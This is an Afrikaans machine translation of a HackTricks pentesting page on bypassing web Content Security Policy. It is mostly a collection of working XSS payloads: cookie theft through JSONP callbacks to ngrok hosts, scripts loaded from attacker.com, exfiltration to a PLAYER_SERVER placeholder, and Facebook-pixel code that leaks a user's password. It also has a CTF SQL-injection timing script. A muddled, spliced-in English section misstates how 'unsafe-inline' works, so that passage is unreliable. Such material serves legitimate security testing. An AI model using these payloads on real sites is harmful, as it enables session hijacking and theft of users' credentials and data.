hacktricks/pentesting-web/content-security-policy-csp-bypass

Inhoudsbeveiligingsbeleid (CSP) Omleiding

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

• As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kontroleer die INSKRYWINGSPLANNE!
• Kry die amptelike PEASS & HackTricks swag
• Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
• Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.

Sluit aan by HackenProof Discord bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!

Hacker-insigte
Raak betrokke by inhoud wat die opwinding en uitdagings van hackery ondersoek

Hacker Nuus in Werklikheid
Bly op hoogte van die snelveranderende hackery-wêreld deur middel van nuus en insigte in werklikheid

Nuutste Aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

Wat is CSP

Inhoudsbeveiligingsbeleid (CSP) word erken as 'n webblaaitegnologie, hoofsaaklik gemik op beskerming teen aanvalle soos kruissite-skripsing (XSS). Dit funksioneer deur paaie en bronne te definieer en te beskryf waarvandaan hulpbronne veilig deur die blaaier gelaai kan word. Hierdie hulpbronne behels 'n verskeidenheid elemente soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid mag die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van string-kode deur funksies soos eval, setTimeout, of setInterval.

Implementering van CSP word gedoen deur responskoppe of deur meta-elemente in die HTML-bladsy in te sluit. Volgens hierdie beleid dwing blaaier aktief hierdie bepalings af en blokkeer onmiddellik enige opgespoorde oortredings.

• Geïmplementeer via responskop:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

• Geïmplementeer via meta-tag:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Opkopies

CSP kan afgedwing of gemonitor word deur hierdie opkopies te gebruik:

• Content-Security-Policy: Dwings die CSP af; die webblaaier blokkeer enige oortredings.
• Content-Security-Policy-Report-Only: Word gebruik vir monitering; rapporteer oortredings sonder om hulle te blokkeer. Ideaal vir toetsing in voor-produksie-omgewings.

Definiëring van Hulpbronne

CSP beperk die oorspronge vir die laai van beide aktiewe en passiewe inhoud, wat aspekte soos inline JavaScript-uitvoering en die gebruik van eval() beheer. 'n Voorbeeldbeleid is:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Riglyne

• script-src: Laat spesifieke bronne toe vir JavaScript, insluitend URL's, inline skripte, en skripte wat geaktiveer word deur gebeurtenishanteerders of XSLT-stylblaaie.
• default-src: Stel 'n verstekbeleid in vir die ophaal van bronne wanneer spesifieke ophaalriglyne afwesig is.
• child-src: Spesifiseer toegelate bronne vir webwerkers en ingeslote raaminhoud.
• connect-src: Beperk URL's wat gelaai kan word deur koppelvlakke soos fetch, WebSocket, XMLHttpRequest.
• frame-src: Beperk URL's vir rame.
• frame-ancestors: Spesifiseer watter bronne die huidige bladsy kan insluit, van toepassing op elemente soos <frame>, <iframe>, <object>, <embed>, en <applet>.
• img-src: Definieer toegelate bronne vir afbeeldings.
• font-src: Spesifiseer geldige bronne vir lettertipes wat gelaai word met @font-face.
• manifest-src: Definieer toegelate bronne van aansoek-manifeslêers.
• media-src: Definieer toegelate bronne vir die laai van media-voorwerpe.
• object-src: Definieer toegelate bronne vir <object>, <embed>, en <applet> elemente.
• base-uri: Spesifiseer toegelate URL's vir die laai met behulp van <base> elemente.
• form-action: Lys geldige eindpunte vir vormindienings.
• plugin-types: Beperk mime-tipes wat 'n bladsy mag aanroep.
• upgrade-insecure-requests: Gee browsers opdrag om HTTP-URL's na HTTPS te herskryf.
• sandbox: Pas beperkings toe soortgelyk aan die sandbokskenmerk van 'n <iframe>.
• report-to: Spesifiseer 'n groep na wie 'n verslag gestuur sal word as die beleid oortree word.
• worker-src: Spesifiseer geldige bronne vir Worker, SharedWorker, of ServiceWorker skripte.
• prefetch-src: Spesifiseer geldige bronne vir bronne wat gelaai of voorafgelaai sal word.
• navigate-to: Beperk die URL's waarna 'n dokument kan navigeer op enige manier (a, vorm, window.location, window.open, ens.)

Bronne

• *: Laat alle URL's toe behalwe dié met data:, blob:, filesystem: skemas.
• 'self': Laat laai vanaf dieselfde domein toe.
• 'data': Laat bronne toe om gelaai te word via die data-skema (bv., Base64-gekodeerde afbeeldings).
• 'none': Blokkeer laai vanaf enige bron.
• 'unsafe-eval': Laat die gebruik van eval() en soortgelyke metodes toe, nie aanbeveel vir veiligheidsredes nie.
• 'unsafe-hashes': Stel spesifieke inline gebeurtenishanteerders in staat.
• 'unsafe-inline': Laat die gebruik van inline bronne soos inline <script> of <style> toe, nie aanbeveel vir veiligheidsredes nie.
• 'nonce': 'n Witlys vir spesifieke inline skripte wat 'n kriptografiese nonce (eenmalige nommer) gebruik.
• As jy beperkte JS-uitvoering het, is dit moontlik om 'n gebruikte nonce binne die bladsy te kry met doc.defaultView.top.document.querySelector("[nonce]") en dit dan hergebruik om 'n skadelike skrip te laai (as strict-dynamic gebruik word, kan enige toegelate bron nuwe bronne laai, so dit is nie nodig nie), soos in:

Laai skrip deur nonce te hergebruik

```html ```

• 'sha256-<hash>': Witlys skripte met 'n spesifieke sha256-hash.
• 'strict-dynamic': Laat skripte van enige bron toe as dit deur 'n nonce of hash op die witlys geplaas is.
• 'host': Spesifiseer 'n spesifieke gasheer, soos example.com.
• https:: Beperk URL's tot dié wat HTTPS gebruik.
• blob:: Laat hulpbronne toe om van Blob-URL's gelaai te word (bv., Blob-URL's wat deur JavaScript geskep is).
• filesystem:: Laat hulpbronne toe om van die lêersisteem gelaai te word.
• 'report-sample': Sluit 'n monster van die oortredende kode in die oortredingsverslag in (nuttig vir foutopsporing).
• 'strict-origin': Soortgelyk aan 'self' maar verseker dat die protokol-sekuriteitsvlak van die bronne ooreenstem met die dokument (slegs veilige bronne kan hulpbronne van veilige bronne laai).
• 'strict-origin-when-cross-origin': Stuur volledige URL's wanneer dieselfde-oorsprongversoeke gemaak word, maar stuur slegs die oorsprong wanneer die versoek kruis-oorsprong is.
• 'unsafe-allow-redirects': Laat toe dat hulpbronne gelaai word wat onmiddellik na 'n ander hulpbron sal omskakel. Nie aanbeveel nie omdat dit die sekuriteit verswak.

Onveilige CSP-reëls

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Werkende lading: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Werkende lading:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

streng-dinamies

Indien jy op een of ander manier kan bewerkstellig dat toegelate JS-kode 'n nuwe skriptag in die DOM met jou JS-kode skep, sal die nuwe skriptag toegelaat word om uitgevoer te word omdat 'n toegelate skrip dit skep.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Werkende lading:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Gebrek aan object-src en default-src

{% hint style="danger" %} Dit lyk of dit nie meer werk nie {% endhint %}

Content-Security-Policy: script-src 'self' ;

Werkende vragmotors:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Lêeroplaai + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Indien jy 'n JS-lêer kan oplaai, kan jy hierdie CSP omseil:

Werkende lading:

"/>'><script src="/uploads/picture.png.js"></script>

Echter, dit is hoogs waarskynlik dat die bediener die opgelaaide lêer valideer en sal slegs toelaat dat jy 'n bepaalde tipe lêers oplaai.

Selfs al sou jy 'n JS-kode binne 'n lêer kon oplaai met 'n deur die bediener aanvaarde uitbreiding (soos: script.png), sal dit nie genoeg wees nie omdat sommige bedieners soos Apache-bedieners die MIME-tipe van die lêer kies op grond van die uitbreiding en webblaaier soos Chrome sal weier om Javascript-kode uit te voer binne iets wat 'n beeld behoort te wees. "Hopelik" is daar foute. Byvoorbeeld, van 'n CTF het ek geleer dat Apache nie weet van die .wave uitbreiding nie, daarom dien dit dit nie met 'n MIME-tipe soos audio/* nie.

Vanaf hier, as jy 'n XSS en 'n lêeroplaai vind, en jy slaag daarin om 'n verkeerd geïnterpreteerde uitbreiding te vind, kan jy probeer om 'n lêer met daardie uitbreiding en die inhoud van die skrip op te laai. Of, as die bediener die korrekte formaat van die opgelaaide lêer nagaan, skep 'n poliglott (sommige poliglott-voorbeelde hier).

Form-action

Indien dit nie moontlik is om JS in te spuit nie, kan jy steeds probeer om byvoorbeeld geloofsbriewe te eksfileer deur 'n vormaksie in te spuit (en miskien wagwoordbestuurders te verwag om wagwoorde outomaties in te vul). Jy kan 'n voorbeeld in hierdie verslag vind. Let ook daarop dat default-src nie vormaksies dek nie.

Derdeparty-eindpunte + ('unsafe-eval')

{% hint style="warning" %} Vir sommige van die volgende lading is unsafe-eval selfs nie nodig nie. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Laai 'n kwesbare weergawe van Angular en voer willekeurige JS uit:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Ladingstukke wat Angular + 'n biblioteek met funksies wat die window-objek teruggee, gebruik (kyk na hierdie pos):

{% hint style="info" %} Die pos wys dat jy alle biblioteke van cdn.cloudflare.com (of enige ander toegelate JS-biblioteek-repo) kan laai, alle bygevoegde funksies van elke biblioteek kan uitvoer, en kan nagaan watter funksies van watter biblioteke die window-objek teruggee. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Bypassing Content Security Policy (CSP) using Angular XSS from a class name:

Omseil van Inhoud Sekuriteitsbeleid (CSP) deur Angular XSS vanaf 'n klassenaam:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Misbruik van Google reCAPTCHA JS-kode

Volgens hierdie CTF-verslag kan jy https://www.google.com/recaptcha/ binne 'n CSP misbruik om willekeurige JS-kode uit te voer wat die CSP omseil:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Meer payloads van hierdie skryfstuk:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Misbruik van www.google.com vir oop omleiding

Die volgende URL rig na example.com (van hier):

https://www.google.com/amp/s/example.com/

Derdu Party Eindpunte + JSONP

Dit is moontlik om Google Apps Script te misbruik om inligting te ontvang in 'n bladsy binne script.google.com. Soos dit gedoen word in hierdie verslag.

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Afrikaans Translation

Situasies soos hierdie waar script-src ingestel is op self en 'n spesifieke domein wat op die witlys is, kan omseil word deur JSONP te gebruik. JSONP-eindpunte maak onveilige terugroepmetodes moontlik wat 'n aanvaller in staat stel om XSS uit te voer, werkende lading:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>

https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee bevat gereedskap om JSONP eindpunte te gebruik vir CSP deurbraak van verskillende webwerwe.

Dieselfde kwesbaarheid sal voorkom as die vertroude eindpunt 'n Oop Aansturing bevat omdat as die aanvanklike eindpunt vertrou word, is aanstuurings vertrou.

Derde Party Misbruik

Soos beskryf in die volgende pos, is daar baie derde party domeine, wat dalk toegelaat word in die CSP, wat misbruik kan word om data uit te sif of JavaScript-kode uit te voer. Sommige van hierdie derde partye is:

Entiteit	Toegelate Domein	Vermoëns
Facebook	www.facebook.com, *.facebook.com	Uitsif
Hotjar	*.hotjar.com, ask.hotjar.io	Uitsif
Jsdelivr	*.jsdelivr.com, cdn.jsdelivr.net	Uitvoer
Amazon CloudFront	*.cloudfront.net	Uitsif, Uitvoer
Amazon AWS	*.amazonaws.com	Uitsif, Uitvoer
Azure Webwerwe	*.azurewebsites.net, *.azurestaticapps.net	Uitsif, Uitvoer
Salesforce Heroku	*.herokuapp.com	Uitsif, Uitvoer
Google Firebase	*.firebaseapp.com	Uitsif, Uitvoer

As jy enige van die toegelate domeine in die CSP van jou teiken vind, is die kans groot dat jy die CSP kan deurbreek deur op die derde party-diens te registreer en óf data na daardie diens uit te sif óf kode uit te voer.

Byvoorbeeld, as jy die volgende CSP vind:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

Content Security Policy (CSP) Bypass

Introduction

In this section, we will discuss various techniques to bypass Content Security Policy (CSP) implemented on a web application.

What is CSP?

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. CSP works by defining the sources from which certain types of content can be loaded on a web page.

Bypassing CSP

There are several ways to bypass CSP, including:

1. Inline Script Execution: By using inline event handlers or inline script tags, attackers can execute arbitrary code on the web page.

2. Unsafe Inline: Disabling the 'unsafe-inline' directive in the CSP policy allows attackers to execute inline scripts.

3. Data Injection: Injecting malicious code into trusted sources, such as script src URLs, can bypass CSP protections.

4. Nonce Bypass: If a website uses nonces for script-src, an attacker can bypass CSP by injecting a valid nonce value.

5. Self XSS: Tricking a user into executing malicious code on their own behalf can bypass CSP protections.

By understanding these techniques, security professionals can better protect web applications against CSP bypass vulnerabilities.

Content-Security-Policy​: connect-src www.facebook.com;​

Jy behoort in staat te wees om data uit te voer, soortgelyk aan hoe dit altyd gedoen is met Google Analytics/Google Tag Manager. In hierdie geval, volg hierdie algemene stappe:

1. Skep 'n Facebook Ontwikkelaar rekening hier.
2. Skep 'n nuwe "Facebook Login" program en kies "Webwerf".
3. Gaan na "Instellings -> Basies" en kry jou "App ID".
4. Op die teikensite waarvan jy data wil uitvoer, kan jy data uitvoer deur direk die Facebook SDK-toestel "fbq" te gebruik deur 'n "customEvent" en die data-lading.
5. Gaan na jou App "Gebeurtenisbestuurder" en kies die aansoek wat jy geskep het (let op dat die gebeurtenisbestuurder gevind kan word in 'n URL soortgelyk aan hierdie: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
6. Kies die lêer "Toetsgebeurtenisse" om die gebeurtenisse te sien wat deur "jou" webwerf gestuur word.

Dan, aan die slagofferkant, voer jy die volgende kode uit om die Facebook-sporepixel te inisieer om na die aanvaller se Facebook-ontwikkelaarsrekening app-id te wys en 'n aangepaste gebeurtenis uit te reik soos hierdie:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Omgang via RPO (Relatiewe Pad Overskrywing)

Benewens die voorafgenoemde omleiding om padbeperkings te omseil, is daar 'n ander tegniek genaamd Relatiewe Pad Overskrywing (RPO) wat op sommige bedieners gebruik kan word.

Byvoorbeeld, as CSP die pad https://example.com/scripts/react/ toelaat, kan dit so omseil word:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Die browser sal uiteindelik https://example.com/scripts/angular/angular.js laai.

Dit werk omdat vir die browser, laai jy 'n lêer genaamd ..%2fangular%2fangular.js wat geleë is onder https://example.com/scripts/react/, wat voldoen aan CSP.

Dus, sal hulle dit ontsluit, effektief versoek https://example.com/scripts/react/../angular/angular.js, wat gelykstaande is aan https://example.com/scripts/angular/angular.js.

Deur hierdie inkonsekwentheid in URL-interpretasie tussen die browser en die bediener uit te buit, kan die padreëls omseil word.

Die oplossing is om %2f nie as / aan die kant van die bediener te behandel nie, om sodoende 'n konsekwente interpretasie tussen die browser en die bediener te verseker om hierdie probleem te vermy.

Aanlyn Voorbeeld: https://jsbin.com/werevijewa/edit?html,output

Iframes JS uitvoering

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

ontbrekende base-uri

Indien die base-uri riglyn ontbreek kan jy dit misbruik om 'n dangling markup injection uit te voer.

Verder, as die bladsy 'n skrip laai deur 'n relatiewe pad te gebruik (soos <script src="/js/app.js">) deur 'n Nonce te gebruik, kan jy die base tag misbruik om dit te laat laai die skrip vanaf jou eie bediener om 'n XSS te bereik.
Indien die kwesbare bladsy met httpS gelaai word, maak gebruik van 'n httpS-url in die basis.

<base href="https://www.attacker.com/">

AngularJS gebeure

'n Spesifieke beleid bekend as Inhoudsbeveiligingsbeleid (CSP) mag JavaScript-gebeure beperk. Nietemin, AngularJS stel aangepaste gebeure as 'n alternatief voor. Binne 'n gebeurtenis bied AngularJS 'n unieke objek $event, wat verwys na die inheemse blaaiergebeurtenisobjek. Hierdie $event objek kan benut word om die CSP te omseil. Merkwaardig, in Chrome, besit die $event/event objek 'n path eienskap, wat 'n objekreeks bevat wat betrokke is by die uitvoerketting van die gebeurtenis, met die window objek wat onveranderlik aan die einde geplaas word. Hierdie struktuur is noodsaaklik vir sandputontsnappingstaktieke.

Deur hierdie reeks na die orderBy filter te rig, is dit moontlik om daaroor te itereer, waardeur die terminalelement (die window objek) benut kan word om 'n globale funksie soos alert() te aktiveer. Die gedemonstreerde kodefragment hieronder verduidelik hierdie proses:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Hierdie snipper lig die gebruik van die ng-focus riglyn uit om die gebeurtenis te trigger, deur $event.path|orderBy te gebruik om die path array te manipuleer, en deur die window objek te benut om die alert() funksie uit te voer, en sodoende document.cookie bloot te stel.

Vind ander Angular omleidings in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS en witgelysde domein

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

'n CSP-beleid wat domeine vir skriplading in 'n Angular JS-toepassing op 'n witlys plaas, kan omseil word deur die aanroeping van terugroepfunksies en sekere kwesbare klasse. Verdere inligting oor hierdie tegniek is beskikbaar in 'n gedetailleerde gids op hierdie git-opgaarplek.

Werkende lading:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Ander JSONP-willekeurige uitvoerpunte kan gevind word in hier (sommige van hulle is verwyder of reggemaak)

Omsnyding deur Herleiing

Wat gebeur wanneer CSP kantoorserver-herleiing teëkom? As die herleiing na 'n ander oorsprong lei wat nie toegelaat word nie, sal dit steeds misluk.

Volgens die beskrywing in CSP spes 4.2.2.3. Paaie en Herleidings, as die herleiing na 'n ander pad lei, kan dit die oorspronklike beperkings omseil.

Hier is 'n voorbeeld:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Indien CSP ingestel is op https://www.google.com/a/b/c/d, aangesien die pad oorweeg word, sal beide /test en /a/test skripte deur CSP geblokkeer word.

Nietemin, die finale http://localhost:5555/301 sal op die bedienerkant na https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)// omgelei word. Aangesien dit 'n omleiding is, word die pad nie oorweeg nie, en kan die skrip gelaai word, wat dus die padbeperking omseil.

Met hierdie omleiding, selfs al is die pad volledig gespesifiseer, sal dit steeds omseil word.

Daarom is die beste oplossing om te verseker dat die webwerf geen oop omleidingskwesbaarhede het nie en dat daar geen domeine is wat in die CSP-reëls uitgebuit kan word.

Omseil CSP met hangende opmaak

Lees hoe hier.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' beteken dat jy enige skrip binne die kode kan uitvoer (XSS kan kode uitvoer) en img-src * beteken dat jy enige beeld van enige bron op die webwerf kan gebruik.

Jy kan hierdie CSP omseil deur die data via beelde te eksfiltreer (in hierdie geval misbruik die XSS 'n CSRF waar 'n bladsy wat deur die bot toeganklik is 'n SQLi bevat, en onttrek die vlag via 'n beeld):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

Van: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Jy kan ook hierdie konfigurasie misbruik om javascript-kode wat binne 'n afbeelding ingevoeg is te laai. As byvoorbeeld, die bladsy laai afbeeldings van Twitter. Jy kan 'n spesiale afbeelding skep, dit na Twitter oplaai en die "unsafe-inline" misbruik om 'n JS-kode (soos 'n gewone XSS) uit te voer wat die afbeelding laai, die JS daaruit onttrek en dit uitvoer: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Met Dienswerkers

Dienswerkers se importScripts-funksie is nie beperk deur CSP nie:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Beleidsinspuiting

Navorsing: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

As 'n parameter wat deur jou gestuur word binne die verklaring van die beleid geplak word, kan jy die beleid op 'n manier verander wat dit nutteloos maak. Jy kan skrips toelaat 'unsafe-inline' met enige van hierdie omseilings:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Omdat hierdie riglyn bestaande script-src riglyne oorwrite.
Jy kan 'n voorbeeld hier vind: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Rand

In Rand is dit baie eenvoudiger. As jy net hierdie in die CSP kan byvoeg: ;_ Rand sou die hele beleid laat val.
Voorbeeld: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Tyd aanval

Let op die afwesigheid van die riglyn 'unsafe-inline'
Hierdie keer kan jy die slagoffer laat **'n bladsy in jou beheer laai via XSS met 'n <iframe. Hierdie keer gaan jy die slagoffer die bladsy laat besoek vanwaar jy inligting wil onttrek (CSRF). Jy kan nie die inhoud van die bladsy bereik nie, maar as jy op een of ander manier die tyd kan beheer wat die bladsy neem om te laai, kan jy die inligting wat jy nodig het, onttrek.

Hierdie keer gaan 'n vlag onttrek word, telkens wanneer 'n karakter korrek gegok word via SQLi neem die reaksie langer tyd as gevolg van die slaapfunksie. Dan sal jy in staat wees om die vlag te onttrek:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Via Boekmerklets

Hierdie aanval sou 'n bietjie sosiale manipulasie impliseer waar die aanvaller die gebruiker oortuig om 'n skakel oor die boekmerklet van die webblaaier te sleep en los. Hierdie boekmerklet sou skadelike javascript-kode bevat wat uitgevoer sou word in die konteks van die huidige web-venster, wat CSP omseil en toelaat om sensitiewe inligting soos koekies of tokens te steel.

Vir meer inligting kyk na die oorspronklike verslag hier.

CSP-omseiling deur CSP te beperk

In hierdie CTF-verslag, word CSP omseil deur binne 'n toegelate ifram 'n meer beperkende CSP in te spuit wat verhoed het dat 'n spesifieke JS-lêer gelaai word wat dan, via prototipe besoedeling of dom-verwringing, toegelaat het om 'n ander skrips te misbruik om 'n willekeurige skrips te laai.

Jy kan 'n CSP van 'n Iframe beperk met die csp-kenmerk:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

In hierdie CTF writeup, was dit moontlik deur HTML inspuiting om meer te beperk 'n CSP sodat 'n skrip wat CSTI voorkom, uitgeskakel is en dus die kwesbaarheid vatbaar geword het vir uitbuiting.
CSP kan strenger gemaak word deur HTML meta-tages te gebruik en inline-skripte kan uitgeskakel word deur die verwydering van die inskrywing wat hulle nonce toelaat en spesifieke inline-skrip aktiveer via sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS uitlekking met Content-Security-Policy-Report-Only

